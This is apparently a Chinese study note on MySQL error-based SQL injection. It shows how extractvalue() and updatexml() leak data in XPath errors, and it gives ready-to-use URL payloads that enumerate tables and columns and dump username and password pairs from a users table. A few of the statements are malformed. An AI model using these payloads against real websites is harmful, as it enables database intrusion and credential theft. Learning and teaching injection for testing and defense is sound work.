当前位置: 首页 > news >正文

sql知识总结二

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别”:后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个  参数XML文档对象名称,第二个参数  路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)——>提示报错信息   [我们需要通过报错信息来尝试报错出我们需要的信息]

 然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e  是  ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者 

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题 

select substring(123456,1,3)  第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符 

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

相关文章:

sql知识总结二

一.报错注入 1.什么是报错注入&#xff1f; 这是一种页面响应形式&#xff0c;响应过程如下&#xff1a; 用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句&#xff0c;送给数据库执行------>数据库将执行的结果返回给后台&#xff…...

VSCode和CMake实现C/C++开发

VSCode和CMake实现Ubuntu下C/C++开发总结 目录 0.简介1.Linux系统介绍2.开发环境搭建2.1 编译器,调试器安装2.2 CMake安装3.GCC编译器3.1 编译过程3.2 g++重要编译参数4.g++编译实战4.0 编译前4.1 直接编译4.2 生成库文件并编译4.3 编译后4.3.1 编译完成后的目录结构4.3.2 运行…...

【机器学习300问】74、如何理解深度学习中L2正则化技术?

深度学习过程中&#xff0c;若模型出现了过拟合问题体现为高方差。有两种解决方法&#xff1a; 增加训练样本的数量采用正则化技术 增加训练样本的数量是一种非常可靠的方法&#xff0c;但有时候你没办法获得足够多的训练数据或者获取数据的成本很高&#xff0c;这时候正则化技…...

C语言程序设计每日一练(4)

完全平方数 首先&#xff0c;我们需要明确什么是完全平方数。完全平方数是指一个整数&#xff0c;它可以表示为另一个整数的平方。例如&#xff0c;1、4、9、16等都是完全平方数&#xff0c;因为它们分别是1、2、3、4的平方。 现在&#xff0c;让我们回到这个问题。我们知道这…...

m4p转换mp3格式怎么转?3个Mac端应用~

M4P文件格式的诞生伴随着苹果公司引入FairPlay版权管理系统&#xff0c;该系统旨在保护音频的内容。M4P因此而生&#xff0c;成为受到FairPlay系统保护的音频格式&#xff0c;常见于苹果设备的iTunes等平台。 MP3文件格式的多个优点 MP3格式的优点显而易见。首先&#xff0c;其…...

全国产化无风扇嵌入式车载电脑在车队管理嵌入式车载行业应用

车队管理嵌入式车载行业应用 车队管理方案能有效解决车辆繁多管理困难问题&#xff0c;配合调度系统让命令更加精确有效执行。实时监控车辆状况、行驶路线和位置&#xff0c;指导驾驶员安全有序行驶&#xff0c;有效降低保险成本、事故概率以及轮胎和零部件的磨损与损坏。 方…...

爬虫入门——Request请求

目录 前言 一、Requests是什么&#xff1f; 二、使用步骤 1.引入库 2.请求 3.响应 三.总结 前言 上一篇爬虫我们已经提及到了urllib库的使用&#xff0c;为了方便大家的使用过程&#xff0c;这里为大家介绍新的库来实现请求获取响应的库。 一、Requests是什么&#xff1…...

创建一个javascript公共方法的npm包,js-tool-big-box,发布到npm上,一劳永逸

前端javascript的公共方法太多了&#xff0c;时间日期的&#xff0c;数值的&#xff0c;字符串的&#xff0c;搞复制的&#xff0c;搞网络请求的&#xff0c;搞数据转换的&#xff0c;几乎就是每个新项目&#xff0c;有的拷一拷&#xff0c;没有的继续写&#xff0c;放个utils目…...

【在线OJ系统】自定义注解实现分布式ID无感自增

实现思路 首先自定义参数注解&#xff0c;然后根据AOP思想&#xff0c;找到该注解作用的切点&#xff0c;也就是mapper层对于mapper层的接口在执行前都会执行该aop操作&#xff1a;获取到对于的方法对象&#xff0c;根据方法对象获取参数列表&#xff0c;根据参数列表判断某个…...

35. UE5 RPG制作火球术技能

接下来&#xff0c;我们将制作技能了&#xff0c;总算迈进了一大步。首先回顾一下之前是如何实现技能触发的&#xff0c;然后再进入正题。 如果想实现我之前的触发方式的&#xff0c;请看此栏目的31-33篇文章&#xff0c;讲解了实现逻辑&#xff0c;这里总结一下&#xff1a; …...

计算机网络 TCP/IP体系 物理层

一. TCP/IP体系 物理层 1.1 物理层的基本概念 物理层作为TCP/IP网络模型的最低层&#xff0c;负责直接与传输介质交互&#xff0c;实现比特流的传输。 要完成物理层的主要任务&#xff0c;需要确定以下特性&#xff1a; 机械特性&#xff1a;物理层的机械特性主要涉及网络…...

微服务相关

1. 微服务主要七个模块 中央管理平台&#xff1a;生产者、消费者注册&#xff0c;服务发现&#xff0c;服务治理&#xff0c;调用关系生产者消费者权限管理流量管理自定义传输协议序列化反序列化 2. 中央管理平台 生产者A在中央管理平台注册后&#xff0c;中央管理平台会给他…...

虚拟机下如何使用Docker(完整版)

Docker详细介绍&#xff1a; Docker 是一款开源的应用容器引擎&#xff0c;由Docker公司最初开发并在2013年发布。Docker的核心理念源自于操作系统级别的虚拟化技术&#xff0c;尤其是Linux上的容器技术&#xff08;如LXC&#xff09;&#xff0c;它为开发人员和系统管理员提供…...

asp.net core 依赖注入后的服务生命周期

ASP.NET Core 依赖注入&#xff08;DI&#xff09;容器支持三种服务的生命周期选项&#xff0c;它们定义了服务实例的创建和销毁的时机。理解这三种生命周期对于设计健壯且高效的应用程序非常重要&#xff1a; 瞬时&#xff08;Transient&#xff09;&#xff1a; 瞬时服务每次…...

交换排序:冒泡排序和快速排序

冒泡排序 思路 通过多次遍历数组&#xff0c;比较相邻的元素&#xff0c;并交换它们&#xff0c;使得每次遍历结束后&#xff0c;最大&#xff08;或最小&#xff09;的元素都“冒泡”到数组的末尾 实现 public class Main {public static void main(String[] args) {int[] …...

聊天机器人ChatGPT指导下的论文写作

ChatGPT无限次数:点击直达 聊天机器人ChatGPT指导下的论文写作 引言 随着人工智能技术的不断发展&#xff0c;聊天机器人在各个领域得到了广泛应用。其中&#xff0c;ChatGPT作为一个先进的自然语言处理模型&#xff0c;为各种文本生成任务提供了强大的支持。在学术界&#xf…...

康谋技术 | 深入探讨:自动驾驶中的相机标定技术

随着自动驾驶技术的快速发展&#xff0c;多传感器的数据采集和融合可以显著提高系统的冗余度和容错性&#xff0c;进而保证决策的快速性和正确性。在项目开发迭代过程中&#xff0c;传感器标定扮演着至关重要的角色&#xff0c;它位于数据采集平台与感知融合算法之间&#xff0…...

如何在 Ubuntu 上启用 IPv6

一、前提条件 一台安装了 Ubuntu 22.04 的计算机具有 sudo 权限的用户账户已连接到支持 IPv6 的网络 二、检查系统是否支持 IPv6 在启用 IPv6 之前&#xff0c;首先要确保您的系统支持 IPv6。要检查内核是否启用了 IPv6&#xff0c;可以运行以下命令&#xff1a; cat /proc/…...

Mac电脑上有什么好玩的格斗游戏 《真人快打1》可以在苹果电脑上玩吗

你是不是喜欢玩格斗游戏&#xff1f;你是不是想在你的Mac电脑上体验一些刺激和激烈的对战&#xff1f;在这篇文章中&#xff0c;我们将介绍Mac电脑上有什么好玩的格斗游戏&#xff0c;以及《真人快打1》可以在苹果电脑上玩吗。 一、Mac电脑上有什么好玩的格斗游戏 格斗游戏是…...

【leetcode面试经典150题】55. 逆波兰表达式求值(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…...

感应照明技术:从工业到家用,一场技术降维的工程冒险

1. 项目概述&#xff1a;当感应照明技术走进寻常百姓家最近在整理一些老旧的行业资料时&#xff0c;翻到了2014年的一则新闻&#xff0c;讲的是当时一家初创公司“Finally Light Bulb Company”宣布要推出一款售价低于10美元的感应灯泡&#xff0c;用来替代传统的白炽灯。这让我…...

如何使用日志实现业务全链路追踪

在现代分布式系统架构中&#xff0c;一个业务请求往往需要经过多个服务节点的协同处理&#xff0c;涉及网关、微服务、数据库、缓存、消息队列等多个组件。传统的日志记录方式通常局限于单个服务或模块&#xff0c;难以还原一个完整请求的流转路径&#xff0c;给问题排查、性能…...

阴阳师百鬼夜行AI自动化:3分钟配置实现全智能碎片收集

阴阳师百鬼夜行AI自动化&#xff1a;3分钟配置实现全智能碎片收集 【免费下载链接】OnmyojiAutoScript Onmyoji Auto Script | 阴阳师脚本 项目地址: https://gitcode.com/gh_mirrors/on/OnmyojiAutoScript 还在为手动刷百鬼夜行而烦恼吗&#xff1f;每天重复点击、熬夜…...

观测云 4 月产品升级报告 | 统一目录、Obsy AI 全新上线,基础设施、场景、监控告警、管理多项能力升级

在技术领域&#xff0c;我们常常被那些闪耀的、可见的成果所吸引。今天&#xff0c;这个焦点无疑是大语言模型技术。它们的流畅对话、惊人的创造力&#xff0c;让我们得以一窥未来的轮廓。然而&#xff0c;作为在企业一线构建、部署和维护复杂系统的实践者&#xff0c;我们深知…...

同样遍历 Mat,为什么你的代码慢 10 倍?

文章目录前言一、什么是不连续Mat&#xff1f;1.产生不连续内存的常见场景2.连续与不连续内存本质区别二、常见错误遍历方式&踩坑分析1.错误一:at<>()逐像素访问&#xff08;速度慢&#xff09;2.错误二&#xff1a;强行使用一维 data 指针&#xff08;高危崩溃&…...

混合人工智能架构可以将神经形态系统转变为可靠的发现机器。

基于ON-OFF神经元的高阶伊辛机架构。图片来源&#xff1a;Nature Communications (2026)。DOI&#xff1a;10.1038/s41467-026-71937-4来源&#xff1a;https://techxplore.com/news/2026-05-hybrid-ai-architecture-neuromorphic-reliable.html主导世界的AI机器可以分为三大类…...

终极Windows和Office激活指南:5分钟搞定系统激活难题

终极Windows和Office激活指南&#xff1a;5分钟搞定系统激活难题 【免费下载链接】KMS_VL_ALL_AIO Smart Activation Script 项目地址: https://gitcode.com/gh_mirrors/km/KMS_VL_ALL_AIO 还在为Windows系统频繁弹出激活提示而烦恼吗&#xff1f;Office突然变成只读模式…...

12-分布式系统测试-缓存-注册中心与链路追踪验证

分布式系统测试&#xff1a;缓存、注册中心与链路追踪验证上篇咱们搞定了消息队列测试&#xff0c;今天继续深入分布式系统的其他组件——Redis缓存、服务注册中心、分布式链路追踪。这些"基础设施"的测试往往被忽略&#xff0c;但出了问题定位起来最头疼。一、Redis…...

NotebookLM未公开的Obsidian插件桥接协议(内部文档泄露版),仅限前500名技术决策者获取

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;NotebookLM与Obsidian整合的架构全景图 NotebookLM&#xff08;Google 推出的 AI 原生研究助手&#xff09;与 Obsidian&#xff08;本地优先、双向链接的知识图谱工具&#xff09;的整合&#xff0c;正…...

VSCode调试C++项目全攻略:从CMake工程配置到Native Debug实战(含传参技巧)

VSCode调试C项目全攻略&#xff1a;从CMake工程配置到Native Debug实战&#xff08;含传参技巧&#xff09; 在当今的C开发环境中&#xff0c;高效调试已成为提升生产力的关键环节。对于使用CMake管理的中大型项目&#xff0c;如何在VSCode中实现无缝调试体验&#xff0c;是许多…...